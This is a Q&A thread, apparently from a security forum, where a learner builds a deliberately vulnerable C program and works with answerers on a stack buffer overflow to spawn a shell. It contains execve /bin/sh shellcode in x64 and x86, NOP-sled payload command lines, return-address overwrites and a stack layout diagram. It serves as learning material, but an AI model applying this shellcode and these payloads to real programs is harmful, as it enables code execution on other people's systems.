1

I am currently working on a buffer overflow using my own program to learn the very basics. I have already successfully executed functions already present in the code by overwrite RIP/EIP, but right now, the goal right now is to gain a shell.

To do so, I made this little exploitable piece of code:

#include <stdio.h>  /* printf */
#include <stdlib.h> /* EXIT_SUCCESS, EXIT_FAILURE */
#include <string.h> /* strcpy */

int main(int argc, char **argv)
{
  char  buffer[300];

  if (argc < 2)
    return EXIT_FAILURE;
  strcpy(&buffer[0], argv[1]);
  printf("Input: '%s'\n", &buffer[0]);
  return EXIT_SUCCESS;
}

Compilation is done with the following line: gcc bof.c -o bof -fno-stack-protector

The program happens to exit normally until 312 bytes are sent in.

  1. Why does it start crashing at 312 bytes and not 301 bytes ?
  2. Are the 12 bytes the size of the stack ?
  3. Does this number actually matter in a case of an attack ?

Then I have been trying a few things such as using a shellcode, however with no success.

gdb-peda$ r $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Starting program: /tmp/bof $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Input: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[Inferior 1 (process 11295) exited normally]
Warning: not running or target is remote

To note: the shellcode is actually a x64 bin/sh execve.

I have been stuck on this one for days right now and don't know how to solve it, I'd be thankful if someone could help me on this matter.


Edit:

Now I understood it a little better thanks to @DKNUCKLES & @Miles Budnek, I have been able to conduct more tests and have made some advancements. However, after successfully overwriting EIP with the buffer address, the crash appeared to be within the shellcode itself.

The vulnerable test binary above was compiled with the following flags: gcc vuln.c -o vuln -fno-stack-protector -zexecstack -m32. To that, I made sure to disable ASLR with the following command: echo "0" > /proc/sys/kernel/randomize_va_space.

  1. Here, it slides correctly through the NOP instructions until the shellcode, and a few bytes after the begining of the shell code, it crashes: https://pastebin.com/rfT8HK5Q
  2. Here, For some reason I had the idea of moving NOP bytes from before the shell code to the end and it successfully worked: https://pastebin.com/PvBDFEU6
  3. Here, same as above, but without GDB, doesn't open a shell: $ ./vuln $(python -c 'print "\x90" * 66 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90" * 30 + "\x84\xcc\xff\xff" + "\x90" * 180') Input: '������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������' Segmentation fault (core dumped) $

(I also tried adding a cat | before the call to the vulnerable program, but with not success).

  • If the problem you are facing now is different from the original one that prompted you to post a question, consider posting a new question for the new problem and accepting the answer that was most useful to you in resolving the original problem – julian May 7 '17 at 17:48
3

DKNUCKLES' answer covers the reason why your injection doesn't work, so this answer is more about how the program's stack gets laid out and why you need to input 312 bytes before you see a crash.

If you look at the assembly generated from your program, you can figure out that the stack looks like this at the point strcpy is called:

               +--------------+
      rbp + 15 |return address| 8B
       rbp + 8 |              |
               +--------------+
       rbp + 7 |    old rbp   | 8B
           rbp |              |
               +--------------+
       rbp - 1 |  alignment   | 3B
       rbp - 3 |  padding     |
               +--------------+
       rbp - 4 |              |
               |              |
               |    buffer    | 300B
               |              |
               |              |
               +-- -- -- -- --+
     rbp - 304 |  buffer[0]   |
               +--------------+
     rbp - 305 |   argc       | 4B
     rbp - 308 |              |
               +--------------+
     rbp - 309 |  alignment   | 4B
     rbp - 312 |  padding     |
               +--------------+
     rbp - 313 |   argv       | 8B
rsp, rbp - 320 |              |
               +--------------+

From that, you can see that there are 11 bytes between the end of buffer and the return address: some padding and the old stack base pointer. That explains why nothing happens until your input reaches 312 bytes. The padding is never read from, and nothing above main uses the stack, so it doesn't matter that you've corrupted it. If you write 312 bytes you end up corrupting the return address though, and that causes the program to crash.

You're also not actually injecting your exec code; you're just passing it and a literal '+' character as separate arguments. That explains why you need to input 312 or more 'A's to cause an error.

  • Thank you very much for your pretty detailed answer, helped me understand how it works. – Ra'Jiska May 7 '17 at 9:20
2

It looks to me as though you're missing your return address, and your shell code extends past your buffer.

I would expect your code to look something like this :

r $(python -c 'print "\x90"*230 + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" + "\x41\x41\x41\x41"*10')

Some notes about above

  • Using a nop sled (\x90 rather than \x41) provides you with a bit of flexibility as to where your shellcode resides in the buffer so. NOPs essentially mean "move on to the next byte" so it will keep moving on until it fires your shell code.
  • You have no return address (I've simulated this with the 4 \x41's at the end of the code). I will usually repeat my "return address" 10 times to ensure the address is read
  • Your code requires 312 bytes to reach the overflow, and the next 4 bytes will overwrite your EIP register. You can confirm that your EIP register is being overwritten when the segmentation fault occurs by using the i r or info registers command after you reach your fault.
  • Assuming you're working on an Intel box, ensure that your return address is written in Little Endian format
  • Thanks for the details. Effectively, the problem here was I was not actually rewriting the EIP. So, I have been editing it all, and now there is the issue that my program actually passes the NOP Sled, then starts reading the shellcode, a few bytes after the begining of the shellcode, it crashes. I have been able to avoid that and get it working by removing a bit of NOP before the shellcode and adding it just after it, why does it happen ? Also, when I'm out of GDB, it doesn't work anymore, I saw that it may be because GB shifts a bit addresses, is there any way to make it work without GDB ?Thx – Ra'Jiska May 7 '17 at 9:32
  • @Ra'Jiska it's a little difficult to comment on why your code might be crashing without seeing what command you're executing. Can you please update your post and show the command you use when it crashes, and then after the crash post the results of the "i r" command? – DKNUCKLES May 7 '17 at 12:09
  • Sure thing, just uptdated OP. I did not issue i r commands though as those are automatically present with gdb-peda. Thanks. – Ra'Jiska May 7 '17 at 12:39
  • @Ra'Jiska It looks to me as though your buffer is too big. I count 326 bytes (assuming you didn't change the shellcode which was 46 bytes when I counted before). You can see that you're not successfully overwriting EIP with your return address because of the following error from your pastebin Cannot access memory at address 0x8048487. This final memory address should be 0xffffcc84 based on your code – DKNUCKLES May 7 '17 at 12:48
  • Concerning the end with the Cannot access memory at address 0x8048487, it's my bad, it's due to a breakpoint which I typed the address by hand (should have been 0x08048487), you can forget about those warnings, they're, I actually get a proper shell when I don't mess things up. Effectively I changed the shell code to a 24 bytes one (I've been doing many tests), for a total of 304 bytes (the required number to get a SIGSEGV). The problem is: why case 1 & 3 do not work while case 2 works (in gdb) ? Thanks. – Ra'Jiska May 7 '17 at 12:57

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.